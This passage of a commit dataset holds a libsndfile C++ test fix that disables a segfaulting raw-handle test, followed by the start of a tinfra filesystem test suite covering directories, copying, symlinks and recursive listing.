{"text":"<commit_before>\/*\n** Copyright (C) 2006-2011 Erik de Castro Lopo <erikd@mega-nerd.com>\n**\n** This program is free software; you can redistribute it and\/or modify\n** it under the terms of the GNU General Public License as published by\n** the Free Software Foundation; either version 2 of the License, or\n** (at your option) any later version.\n**\n** This program is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n** GNU General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with this program; if not, write to the Free Software\n** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n*\/\n\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n\n#include <sndfile.hh>\n\n#include \"utils.h\"\n\nstatic short\tsbuffer [100] ;\nstatic int \t\tibuffer [100] ;\nstatic float\tfbuffer [100] ;\nstatic double\tdbuffer [100] ;\n\nstatic void\nceeplusplus_wchar_test (void)\n{\n#if 0\n\tLPCWSTR filename = L\"wchar_test.wav\" ;\n\n\tprint_test_name (__func__, \"ceeplusplus_wchar_test.wav\") ;\n\n\t\/* Use this scope to make sure the created file is closed. *\/\n\t{\n\t\tSndfileHandle file (filename, SFM_WRITE, SF_FORMAT_WAV | SF_FORMAT_PCM_16, 2, 44100) ;\n\n\t\tif (file.refCount () != 1)\n\t\t{\tprintf (\"\\n\\n%s %d : Error : Reference count (%d) should be 1.\\n\\n\", __func__, __LINE__, file.refCount ()) ;\n\t\t\texit (1) ;\n\t\t\t} ;\n\n\t\t\/*\tThis should check that the file did in fact get created with a\n\t\t**\twchar_t * filename.\n\t\t*\/\n\t\texit_if_true (\n\t\t\tGetFileAttributesW (filename) == INVALID_FILE_ATTRIBUTES,\n\t\t\t\"\\n\\nLine %d : GetFileAttributes failed.\\n\\n\", __LINE__\n\t\t\t) ;\n\t}\n\n\t\/* Use this because the file was created with CreateFileW. *\/\n\tDeleteFileW (filename) ;\n\n\tputs (\"ok\") ;\n#endif\n} \/* ceeplusplus_wchar_test *\/\n\n\n\nstatic void\ncreate_file (const char * filename, int format)\n{\tSndfileHandle file ;\n\n\tif (file.refCount () != 0)\n\t{\tprintf (\"\\n\\n%s %d : Error : Reference count (%d) should be zero.\\n\\n\", __func__, __LINE__, file.refCount ()) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tfile = SndfileHandle (filename, SFM_WRITE, format, 2, 48000) ;\n\n\tif (file.refCount () != 1)\n\t{\tprintf (\"\\n\\n%s %d : Error : Reference count (%d) should be 1.\\n\\n\", __func__, __LINE__, file.refCount ()) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tfile.setString (SF_STR_TITLE, filename) ;\n\n\t\/* Item write. *\/\n\tfile.write (sbuffer, ARRAY_LEN (sbuffer)) ;\n\tfile.write (ibuffer, ARRAY_LEN (ibuffer)) ;\n\tfile.write (fbuffer, ARRAY_LEN (fbuffer)) ;\n\tfile.write (dbuffer, ARRAY_LEN (dbuffer)) ;\n\n\t\/* Frame write. *\/\n\tfile.writef (sbuffer, ARRAY_LEN (sbuffer) \/ file.channels ()) ;\n\tfile.writef (ibuffer, ARRAY_LEN (ibuffer) \/ file.channels ()) ;\n\tfile.writef (fbuffer, ARRAY_LEN (fbuffer) \/ file.channels ()) ;\n\tfile.writef (dbuffer, ARRAY_LEN (dbuffer) \/ file.channels ()) ;\n\n\t\/* RAII takes care of the SndfileHandle. *\/\n} \/* create_file *\/\n\nstatic void\ncheck_title (const SndfileHandle & file, const char * filename)\n{\tconst char *title = NULL ;\n\n\ttitle = file.getString (SF_STR_TITLE) ;\n\n\tif (title == NULL)\n\t{\tprintf (\"\\n\\n%s %d : Error : No title.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (strcmp (filename, title) != 0)\n\t{\tprintf (\"\\n\\n%s %d : Error : title '%s' should be '%s'\\n\\n\", __func__, __LINE__, title, filename) ;\n\t\texit (1) ;\n\t\t} ;\n\n\treturn ;\n} \/* check_title *\/\n\nstatic void\nread_file (const char * filename, int format)\n{\tSndfileHandle file ;\n\tsf_count_t count ;\n\n\tif (file)\n\t{\tprintf (\"\\n\\n%s %d : Error : should not be here.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tfile = SndfileHandle (filename) ;\n\n\tif (1)\n\t{\tSndfileHandle file2 = file ;\n\n\t\tif (file.refCount () != 2 || file2.refCount () != 2)\n\t\t{\tprintf (\"\\n\\n%s %d : Error : Reference count (%d) should be two.\\n\\n\", __func__, __LINE__, file.refCount ()) ;\n\t\t\texit (1) ;\n\t\t\t} ;\n\t\t} ;\n\n\tif (file.refCount () != 1)\n\t{\tprintf (\"\\n\\n%s %d : Error : Reference count (%d) should be one.\\n\\n\", __func__, __LINE__, file.refCount ()) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (! file)\n\t{\tprintf (\"\\n\\n%s %d : Error : should not be here.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (file.format () != format)\n\t{\tprintf (\"\\n\\n%s %d : Error : format 0x%08x should be 0x%08x.\\n\\n\", __func__, __LINE__, file.format (), format) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (file.channels () != 2)\n\t{\tprintf (\"\\n\\n%s %d : Error : channels %d should be 2.\\n\\n\", __func__, __LINE__, file.channels ()) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (file.frames () != ARRAY_LEN (sbuffer) * 4)\n\t{\tprintf (\"\\n\\n%s %d : Error : frames %ld should be %lu.\\n\\n\", __func__, __LINE__,\n\t\t\t\tSF_COUNT_TO_LONG (file.frames ()), (long unsigned int) ARRAY_LEN (sbuffer) * 4 \/ 2) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tswitch (format & SF_FORMAT_TYPEMASK)\n\t{\tcase SF_FORMAT_AU :\n\t\t\t\tbreak ;\n\n\t\tdefault :\n\t\t\tcheck_title (file, filename) ;\n\t\t\tbreak ;\n\t\t} ;\n\n\t\/* Item read. *\/\n\tfile.read (sbuffer, ARRAY_LEN (sbuffer)) ;\n\tfile.read (ibuffer, ARRAY_LEN (ibuffer)) ;\n\tfile.read (fbuffer, ARRAY_LEN (fbuffer)) ;\n\tfile.read (dbuffer, ARRAY_LEN (dbuffer)) ;\n\n\t\/* Frame read. *\/\n\tfile.readf (sbuffer, ARRAY_LEN (sbuffer) \/ file.channels ()) ;\n\tfile.readf (ibuffer, ARRAY_LEN (ibuffer) \/ file.channels ()) ;\n\tfile.readf (fbuffer, ARRAY_LEN (fbuffer) \/ file.channels ()) ;\n\tfile.readf (dbuffer, ARRAY_LEN (dbuffer) \/ file.channels ()) ;\n\n\tcount = file.seek (file.frames () - 10, SEEK_SET) ;\n\tif (count != file.frames () - 10)\n\t{\tprintf (\"\\n\\n%s %d : Error : offset (%ld) should be %ld\\n\\n\", __func__, __LINE__,\n\t\t\t\tSF_COUNT_TO_LONG (count), SF_COUNT_TO_LONG (file.frames () - 10)) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tcount = file.read (sbuffer, ARRAY_LEN (sbuffer)) ;\n\tif (count != 10 * file.channels ())\n\t{\tprintf (\"\\n\\n%s %d : Error : count (%ld) should be %ld\\n\\n\", __func__, __LINE__,\n\t\t\t\tSF_COUNT_TO_LONG (count), SF_COUNT_TO_LONG (10 * file.channels ())) ;\n\t\texit (1) ;\n\t\t} ;\n\n\t\/* RAII takes care of the SndfileHandle. *\/\n} \/* read_file *\/\n\nstatic void\nceeplusplus_test (const char *filename, int format)\n{\n\tprint_test_name (\"ceeplusplus_test\", filename) ;\n\n\tcreate_file (filename, format) ;\n\tread_file (filename, format) ;\n\n\tremove (filename) ;\n\tputs (\"ok\") ;\n} \/* ceeplusplus_test *\/\n\nstatic void\nceeplusplus_extra_test (void)\n{\tSndfileHandle file ;\n\tconst char * filename = \"bad_file_name.wav\" ;\n\tint error ;\n\n\tprint_test_name (\"ceeplusplus_extra_test\", filename) ;\n\n\tfile = SndfileHandle (filename) ;\n\n\terror = file.error () ;\n\tif (error == 0)\n\t{\tprintf (\"\\n\\n%s %d : error should be zero.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (file.strError () == NULL)\n\t{\tprintf (\"\\n\\n%s %d : strError should not return NULL.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (file.seek (0, SEEK_SET) != 0)\n\t{\tprintf (\"\\n\\n%s %d : bad seek ().\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tputs (\"ok\") ;\n} \/* ceeplusplus_extra_test *\/\n\n\nstatic void\nceeplusplus_rawhandle_test (const char *filename)\n{\n\tSNDFILE* handle ;\n\t{\n\t\tSndfileHandle file (filename) ;\n\t\thandle = file.rawHandle () ;\n\t\tsf_read_float (handle, fbuffer, ARRAY_LEN (fbuffer)) ;\n\t}\n\n\tif (sf_read_float (handle, fbuffer, ARRAY_LEN (fbuffer)) > 0)\n\t{\tprintf (\"\\n\\n%s %d : cannot read closed file.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t}\n}\n\nstatic void\nceeplusplus_takeOwnership_test (const char *filename)\n{\n\tSNDFILE* handle ;\n\t{\n\t\tSndfileHandle file (filename) ;\n\t\thandle = file.takeOwnership () ;\n\t}\n\n\tif (sf_read_float (handle, fbuffer, ARRAY_LEN (fbuffer)) <= 0)\n\t{\tprintf (\"\\n\\n%s %d : error when taking ownership of handle.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t}\n\n\tif (sf_close (handle) != 0)\n\t{\tprintf (\"\\n\\n%s %d : cannot close file.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t}\n\n\tSndfileHandle file (filename) ;\n\tSndfileHandle file2 (file) ;\n\n\tif (file2.takeOwnership ())\n\t{\tprintf (\"\\n\\n%s %d : taking ownership of shared handle is not allowed.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t}\n}\n\nstatic void\nceeplusplus_handle_test (const char *filename, int format)\n{\n\tprint_test_name (\"ceeplusplus_handle_test\", filename) ;\n\n\tcreate_file (filename, format) ;\n\n\tceeplusplus_rawhandle_test (filename) ;\n\tceeplusplus_takeOwnership_test (filename) ;\n\n\tremove (filename) ;\n\tputs (\"ok\") ;\n} \/* ceeplusplus_test *\/\n\nint\nmain (void)\n{\n\tceeplusplus_test (\"cpp_test.wav\", SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;\n\tceeplusplus_test (\"cpp_test.aiff\", SF_FORMAT_AIFF | SF_FORMAT_PCM_S8) ;\n\tceeplusplus_test (\"cpp_test.au\", SF_FORMAT_AU | SF_FORMAT_FLOAT) ;\n\n\tceeplusplus_extra_test () ;\n\tceeplusplus_handle_test (\"cpp_test.wav\", SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;\n\n\tceeplusplus_wchar_test () ;\n\n\treturn 0 ;\n} \/* main *\/\n\n<commit_msg>tests\/cpp_test.cc : Fix a broken test (test segfaults).<commit_after>\/*\n** Copyright (C) 2006-2011 Erik de Castro Lopo <erikd@mega-nerd.com>\n**\n** This program is free software; you can redistribute it and\/or modify\n** it under the terms of the GNU General Public License as published by\n** the Free Software Foundation; either version 2 of the License, or\n** (at your option) any later version.\n**\n** This program is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n** GNU General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with this program; if not, write to the Free Software\n** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n*\/\n\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n\n#include <sndfile.hh>\n\n#include \"utils.h\"\n\nstatic short\tsbuffer [100] ;\nstatic int \t\tibuffer [100] ;\nstatic float\tfbuffer [100] ;\nstatic double\tdbuffer [100] ;\n\nstatic void\nceeplusplus_wchar_test (void)\n{\n#if 0\n\tLPCWSTR filename = L\"wchar_test.wav\" ;\n\n\tprint_test_name (__func__, \"ceeplusplus_wchar_test.wav\") ;\n\n\t\/* Use this scope to make sure the created file is closed. *\/\n\t{\n\t\tSndfileHandle file (filename, SFM_WRITE, SF_FORMAT_WAV | SF_FORMAT_PCM_16, 2, 44100) ;\n\n\t\tif (file.refCount () != 1)\n\t\t{\tprintf (\"\\n\\n%s %d : Error : Reference count (%d) should be 1.\\n\\n\", __func__, __LINE__, file.refCount ()) ;\n\t\t\texit (1) ;\n\t\t\t} ;\n\n\t\t\/*\tThis should check that the file did in fact get created with a\n\t\t**\twchar_t * filename.\n\t\t*\/\n\t\texit_if_true (\n\t\t\tGetFileAttributesW (filename) == INVALID_FILE_ATTRIBUTES,\n\t\t\t\"\\n\\nLine %d : GetFileAttributes failed.\\n\\n\", __LINE__\n\t\t\t) ;\n\t}\n\n\t\/* Use this because the file was created with CreateFileW. *\/\n\tDeleteFileW (filename) ;\n\n\tputs (\"ok\") ;\n#endif\n} \/* ceeplusplus_wchar_test *\/\n\n\n\nstatic void\ncreate_file (const char * filename, int format)\n{\tSndfileHandle file ;\n\n\tif (file.refCount () != 0)\n\t{\tprintf (\"\\n\\n%s %d : Error : Reference count (%d) should be zero.\\n\\n\", __func__, __LINE__, file.refCount ()) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tfile = SndfileHandle (filename, SFM_WRITE, format, 2, 48000) ;\n\n\tif (file.refCount () != 1)\n\t{\tprintf (\"\\n\\n%s %d : Error : Reference count (%d) should be 1.\\n\\n\", __func__, __LINE__, file.refCount ()) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tfile.setString (SF_STR_TITLE, filename) ;\n\n\t\/* Item write. *\/\n\tfile.write (sbuffer, ARRAY_LEN (sbuffer)) ;\n\tfile.write (ibuffer, ARRAY_LEN (ibuffer)) ;\n\tfile.write (fbuffer, ARRAY_LEN (fbuffer)) ;\n\tfile.write (dbuffer, ARRAY_LEN (dbuffer)) ;\n\n\t\/* Frame write. *\/\n\tfile.writef (sbuffer, ARRAY_LEN (sbuffer) \/ file.channels ()) ;\n\tfile.writef (ibuffer, ARRAY_LEN (ibuffer) \/ file.channels ()) ;\n\tfile.writef (fbuffer, ARRAY_LEN (fbuffer) \/ file.channels ()) ;\n\tfile.writef (dbuffer, ARRAY_LEN (dbuffer) \/ file.channels ()) ;\n\n\t\/* RAII takes care of the SndfileHandle. *\/\n} \/* create_file *\/\n\nstatic void\ncheck_title (const SndfileHandle & file, const char * filename)\n{\tconst char *title = NULL ;\n\n\ttitle = file.getString (SF_STR_TITLE) ;\n\n\tif (title == NULL)\n\t{\tprintf (\"\\n\\n%s %d : Error : No title.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (strcmp (filename, title) != 0)\n\t{\tprintf (\"\\n\\n%s %d : Error : title '%s' should be '%s'\\n\\n\", __func__, __LINE__, title, filename) ;\n\t\texit (1) ;\n\t\t} ;\n\n\treturn ;\n} \/* check_title *\/\n\nstatic void\nread_file (const char * filename, int format)\n{\tSndfileHandle file ;\n\tsf_count_t count ;\n\n\tif (file)\n\t{\tprintf (\"\\n\\n%s %d : Error : should not be here.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tfile = SndfileHandle (filename) ;\n\n\tif (1)\n\t{\tSndfileHandle file2 = file ;\n\n\t\tif (file.refCount () != 2 || file2.refCount () != 2)\n\t\t{\tprintf (\"\\n\\n%s %d : Error : Reference count (%d) should be two.\\n\\n\", __func__, __LINE__, file.refCount ()) ;\n\t\t\texit (1) ;\n\t\t\t} ;\n\t\t} ;\n\n\tif (file.refCount () != 1)\n\t{\tprintf (\"\\n\\n%s %d : Error : Reference count (%d) should be one.\\n\\n\", __func__, __LINE__, file.refCount ()) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (! file)\n\t{\tprintf (\"\\n\\n%s %d : Error : should not be here.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (file.format () != format)\n\t{\tprintf (\"\\n\\n%s %d : Error : format 0x%08x should be 0x%08x.\\n\\n\", __func__, __LINE__, file.format (), format) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (file.channels () != 2)\n\t{\tprintf (\"\\n\\n%s %d : Error : channels %d should be 2.\\n\\n\", __func__, __LINE__, file.channels ()) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (file.frames () != ARRAY_LEN (sbuffer) * 4)\n\t{\tprintf (\"\\n\\n%s %d : Error : frames %ld should be %lu.\\n\\n\", __func__, __LINE__,\n\t\t\t\tSF_COUNT_TO_LONG (file.frames ()), (long unsigned int) ARRAY_LEN (sbuffer) * 4 \/ 2) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tswitch (format & SF_FORMAT_TYPEMASK)\n\t{\tcase SF_FORMAT_AU :\n\t\t\t\tbreak ;\n\n\t\tdefault :\n\t\t\tcheck_title (file, filename) ;\n\t\t\tbreak ;\n\t\t} ;\n\n\t\/* Item read. *\/\n\tfile.read (sbuffer, ARRAY_LEN (sbuffer)) ;\n\tfile.read (ibuffer, ARRAY_LEN (ibuffer)) ;\n\tfile.read (fbuffer, ARRAY_LEN (fbuffer)) ;\n\tfile.read (dbuffer, ARRAY_LEN (dbuffer)) ;\n\n\t\/* Frame read. *\/\n\tfile.readf (sbuffer, ARRAY_LEN (sbuffer) \/ file.channels ()) ;\n\tfile.readf (ibuffer, ARRAY_LEN (ibuffer) \/ file.channels ()) ;\n\tfile.readf (fbuffer, ARRAY_LEN (fbuffer) \/ file.channels ()) ;\n\tfile.readf (dbuffer, ARRAY_LEN (dbuffer) \/ file.channels ()) ;\n\n\tcount = file.seek (file.frames () - 10, SEEK_SET) ;\n\tif (count != file.frames () - 10)\n\t{\tprintf (\"\\n\\n%s %d : Error : offset (%ld) should be %ld\\n\\n\", __func__, __LINE__,\n\t\t\t\tSF_COUNT_TO_LONG (count), SF_COUNT_TO_LONG (file.frames () - 10)) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tcount = file.read (sbuffer, ARRAY_LEN (sbuffer)) ;\n\tif (count != 10 * file.channels ())\n\t{\tprintf (\"\\n\\n%s %d : Error : count (%ld) should be %ld\\n\\n\", __func__, __LINE__,\n\t\t\t\tSF_COUNT_TO_LONG (count), SF_COUNT_TO_LONG (10 * file.channels ())) ;\n\t\texit (1) ;\n\t\t} ;\n\n\t\/* RAII takes care of the SndfileHandle. *\/\n} \/* read_file *\/\n\nstatic void\nceeplusplus_test (const char *filename, int format)\n{\n\tprint_test_name (\"ceeplusplus_test\", filename) ;\n\n\tcreate_file (filename, format) ;\n\tread_file (filename, format) ;\n\n\tremove (filename) ;\n\tputs (\"ok\") ;\n} \/* ceeplusplus_test *\/\n\nstatic void\nceeplusplus_extra_test (void)\n{\tSndfileHandle file ;\n\tconst char * filename = \"bad_file_name.wav\" ;\n\tint error ;\n\n\tprint_test_name (\"ceeplusplus_extra_test\", filename) ;\n\n\tfile = SndfileHandle (filename) ;\n\n\terror = file.error () ;\n\tif (error == 0)\n\t{\tprintf (\"\\n\\n%s %d : error should be zero.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (file.strError () == NULL)\n\t{\tprintf (\"\\n\\n%s %d : strError should not return NULL.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tif (file.seek (0, SEEK_SET) != 0)\n\t{\tprintf (\"\\n\\n%s %d : bad seek ().\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t} ;\n\n\tputs (\"ok\") ;\n} \/* ceeplusplus_extra_test *\/\n\n\nstatic void\nceeplusplus_rawhandle_test (const char *filename)\n{\n\tSNDFILE* handle ;\n\t{\n\t\tSndfileHandle file (filename) ;\n\t\thandle = file.rawHandle () ;\n\t\tsf_read_float (handle, fbuffer, ARRAY_LEN (fbuffer)) ;\n\t}\n} \/* ceeplusplus_rawhandle_test *\/\n\nstatic void\nceeplusplus_takeOwnership_test (const char *filename)\n{\n\tSNDFILE* handle ;\n\t{\n\t\tSndfileHandle file (filename) ;\n\t\thandle = file.takeOwnership () ;\n\t}\n\n\tif (sf_read_float (handle, fbuffer, ARRAY_LEN (fbuffer)) <= 0)\n\t{\tprintf (\"\\n\\n%s %d : error when taking ownership of handle.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t}\n\n\tif (sf_close (handle) != 0)\n\t{\tprintf (\"\\n\\n%s %d : cannot close file.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t}\n\n\tSndfileHandle file (filename) ;\n\tSndfileHandle file2 (file) ;\n\n\tif (file2.takeOwnership ())\n\t{\tprintf (\"\\n\\n%s %d : taking ownership of shared handle is not allowed.\\n\\n\", __func__, __LINE__) ;\n\t\texit (1) ;\n\t\t}\n} \/* ceeplusplus_takeOwnership_test *\/\n\nstatic void\nceeplusplus_handle_test (const char *filename, int format)\n{\n\tprint_test_name (\"ceeplusplus_handle_test\", filename) ;\n\n\tcreate_file (filename, format) ;\n\n\tif (0) ceeplusplus_rawhandle_test (filename) ;\n\tceeplusplus_takeOwnership_test (filename) ;\n\n\tremove (filename) ;\n\tputs (\"ok\") ;\n} \/* ceeplusplus_test *\/\n\nint\nmain (void)\n{\n\tceeplusplus_test (\"cpp_test.wav\", SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;\n\tceeplusplus_test (\"cpp_test.aiff\", SF_FORMAT_AIFF | SF_FORMAT_PCM_S8) ;\n\tceeplusplus_test (\"cpp_test.au\", SF_FORMAT_AU | SF_FORMAT_FLOAT) ;\n\n\tceeplusplus_extra_test () ;\n\tceeplusplus_handle_test (\"cpp_test.wav\", SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;\n\n\tceeplusplus_wchar_test () ;\n\n\treturn 0 ;\n} \/* main *\/\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2009, Zbigniew Zagorski\n\/\/ This software licensed under terms described in LICENSE.txt\n\/\/\n\n#include \"tinfra\/fs.h\"\n#include \"tinfra\/test.h\"\n#include \"tinfra\/file.h\"        \n\n#include \"tinfra\/vfs.h\"\n#include \"tinfra\/path.h\"\n\n#include <iostream>\n#include <stdexcept>\n#include <cstdlib> \/\/ for system\n#include <algorithm>\n\nusing namespace tinfra;\n\nSUITE(tinfra)\n{\n    using tinfra::test::test_fs_sandbox;\n    \n    TEST(test_is_dir)\n    {\n        using tinfra::fs::is_dir;\n        CHECK( is_dir(\"\/\") );\n        CHECK( is_dir(\"\\\\\") );\n        \n        CHECK( is_dir(\".\") );\n        CHECK( is_dir(\".\/\") );\n        \n#ifdef _WIN32\n        \n        CHECK( is_dir(\".\\\\\") );\n        CHECK( is_dir(\"C:\") );\n        CHECK( is_dir(\"C:\/\") );\n        CHECK( is_dir(\"C:\\\\\") );\n        \n#endif\n    }\n\n    TEST(fs_copy)\n    {\n        tinfra::test::test_fs_sandbox sandbox(\"testtest_file\");\n\t\n        fs::copy(\"testtest_file\", \"boo.test\");\n        CHECK( fs::is_file(\"boo.test\") );\n        \n        \/\/ check if source doesn't exist\n        CHECK_THROW( fs::copy(\"testtest_fileXX\", \"foo\"), std::runtime_error);\n        \n        \/\/ check if dest directory doesn't exist\n        CHECK_THROW( fs::copy(\"testtest_file\", \"fooFOOfoo\/foo\"), std::runtime_error);\n    }\n    \n    TEST(fs_list_files)\n    {\n        test_fs_sandbox tmp_location(\"testtest_dir\");\n        std::vector<std::string> files = fs::list_files(\".\");\n\t\tCHECK_EQUAL(1, int(files.size()));\n        CHECK_EQUAL(\"testtest_dir\", files[0]);        \n    }\n    \n    TEST(fs_mkdir_rmdir)\n    {\n        test_fs_sandbox tmp_location;\n        {\n            const char* name = \"kukkuryku\";\n            CHECK( !fs::exists(name));\n            fs::mkdir(name);\n            CHECK( fs::exists(name));\n            CHECK( fs::is_dir(name));\n            fs::rmdir(name);\n            CHECK( !fs::is_dir(name));\n        }\n        \n        {\n            const char* name = \"huzia\/c\/f\/e\";\n            CHECK( !fs::exists(name));\n            fs::mkdir(name,true);\n            CHECK( fs::exists(name));\n            CHECK( fs::is_dir(name));\n            fs::rmdir(\"huzia\/c\/f\/e\");\n            fs::rmdir(\"huzia\/c\/f\");\n            fs::rmdir(\"huzia\/c\");\n            fs::rmdir(\"huzia\");\n            CHECK( !fs::exists(\"a\"));\n        }\n    }\n#ifndef _WIN32\n    TEST(fs_stat_symlink)\n    {\n        test_fs_sandbox tmp_location;\n        CHECK_EQUAL(0, std::system(\"ln -s . foo\"));\n        tinfra::fs::file_info fi= tinfra::fs::stat(\"foo\");\n        CHECK_EQUAL(tinfra::fs::SYMBOLIC_LINK, fi.type);\n    }\n#endif\n    TEST(fs_recursive)\n    {\n        test_fs_sandbox tmp_location(\"testtest_dir\");\n        fs::recursive_copy(\"testtest_dir\", \"boo\");\n        fs::recursive_rm(\"boo\");\n    }\n    \n    TEST(fs_walk)\n    {\n        test_fs_sandbox tmp_location(\"testtest_dir\");\n        struct foo_walker: public fs::walker {\n            virtual bool accept(tstring const& name, tstring const& parent, bool is_dir)\n            {\n                return true;\n            }            \n        };\n        foo_walker foo;\n        fs::walk(\".\", foo);\n    }\n    \n    TEST(fs_recursive_lister_depth)\n    {\n        test_fs_sandbox tmp_location(\"testtest_dir\");\n        \n        fs::recursive_lister lister(\".\", false);\n        \n        std::vector<std::string> result;\n        {\n            fs::directory_entry de;\n            while (lister.fetch_next(de) ) {\n                result.push_back(de.name.str());\n            }\n        }\n        std::sort(result.begin(), result.end());\n        \n        CHECK_EQUAL(4, result.size());\n        CHECK_EQUAL(\".\/testtest_dir\",         result[0]);\n        CHECK_EQUAL(\".\/testtest_dir\/a\",       result[1]);\n        CHECK_EQUAL(\".\/testtest_dir\/a\/file2\", result[2]);\n        CHECK_EQUAL(\".\/testtest_dir\/file1\",   result[3]);\n    }\n    \n    TEST(fs_recursive_lister_ignore_stg)\n    {\n        test_fs_sandbox tmp_location(\"testtest_dir\");\n        \n        fs::recursive_lister lister(\".\", false);\n        \n        std::vector<std::string> result;\n        {\n            fs::directory_entry de;\n            while (lister.fetch_next(de) ) {\n                \/\/ save a but don't recurse\n                if( tinfra::path::basename(de.name) == \"a\" )\n                    lister.recurse(false);\n                result.push_back(de.name.str());\n            }\n        }\n        std::sort(result.begin(), result.end());\n        \n        CHECK_EQUAL(3, result.size());\n        CHECK_EQUAL(\".\/testtest_dir\",         result[0]);\n        CHECK_EQUAL(\".\/testtest_dir\/a\",       result[1]);\n        \/\/CHECK_EQUAL(\".\/testtest_dir\/a\/file2\", result[2]);\n        CHECK_EQUAL(\".\/testtest_dir\/file1\",   result[2]);\n    }\n    \n    void touch(tstring const& name)\n    {\n        \n        tinfra::write_file(name,\"\");\n    }\n    TEST(fs_localized_name_create)\n    {\n        test_fs_sandbox tmp_location;\n        \n        tstring const POLISH_NAME = \"\\x0c5\\x082\\xc3\\xb3\\x64\\x6b\\x61\"; \/\/ \"lodka\", polish boat\n        \n        touch(POLISH_NAME);\n        \n        std::vector<std::string> files = fs::list_files(\".\");\n        CHECK_EQUAL(1, int(files.size()));\n        CHECK_EQUAL(POLISH_NAME, files[0]);\n    }\n    \n    void test_vfs(tinfra::vfs& fs)\n    {\n        using tinfra::fs::file_name_list;\n        \/\/ check if the roots are available\n        file_name_list roots = fs.roots();\n        for( file_name_list::const_iterator r = roots.begin(); r != roots.end(); ++r)\n            CHECK( fs.is_dir(r->c_str()) );\n        \n        \n    }\n    \n    TEST(test_local_vfs)\n    {\n        test_vfs(tinfra::local_fs());\n    }\n    \n#ifndef _WIN32\n    \/\/\/ basic test for symlink\/readlink interoperability on POSIX\n    \n    TEST(fs_symlink_and_readlink) {\n        test_fs_sandbox tmp_location;\n        tinfra::fs::symlink(\".\", \"foo\");\n        tinfra::fs::file_info fi= tinfra::fs::stat(\"foo\");\n        CHECK_EQUAL(tinfra::fs::SYMBOLIC_LINK, fi.type);\n        CHECK_EQUAL(\".\", tinfra::fs::readlink(\"foo\"));\n    }\n    \n    TEST(fs_realpath_complex)\n    {\n        using tinfra::fs::readlink;\n        using tinfra::fs::mkdir;\n        using tinfra::fs::symlink;\n        \n        test_fs_sandbox tmp_location;\n        mkdir(\"var\/a\/b\", true);\n        mkdir(\"var\/x\/real_c\", true);\n        mkdir(\"var\/real_d\", true);\n        \n        symlink(\"..\/..\/real_d\", \"var\/x\/real_c\/d\");\n        symlink(\"..\/..\/x\/real_c\", \"var\/a\/b\/c\");\n        symlink(\"var\/a\/b\/c\/d\", \"d\");\n        touch(\"d\/FOO\");\n        \/\/system(\"find . | xargs ls -lad\");\n        std::string pwd = tinfra::fs::pwd();\n        \n        CHECK_EQUAL( tinfra::path::join(pwd, \"var\/real_d\"), \n                     tinfra::fs::realpath(\"var\/x\/real_c\/d\"));\n        \n        CHECK_EQUAL( tinfra::path::join(pwd, \"var\/real_d\/FOO\"), \n                     tinfra::fs::realpath(\"var\/a\/b\/c\/d\/FOO\"));\n    }\n#endif\n}\n\n\/\/ jedit: :tabSize=8:indentSize=4:noTabs=true:mode=c++:\n\n<commit_msg>fs_test: fs_localized_name_create is disabled on OSX as i don't have idea how to handle UTF-8-MAC encoding without including iconv into tinfra<commit_after>\/\/\n\/\/ Copyright (c) 2009, Zbigniew Zagorski\n\/\/ This software licensed under terms described in LICENSE.txt\n\/\/\n\n#include \"tinfra\/fs.h\"\n#include 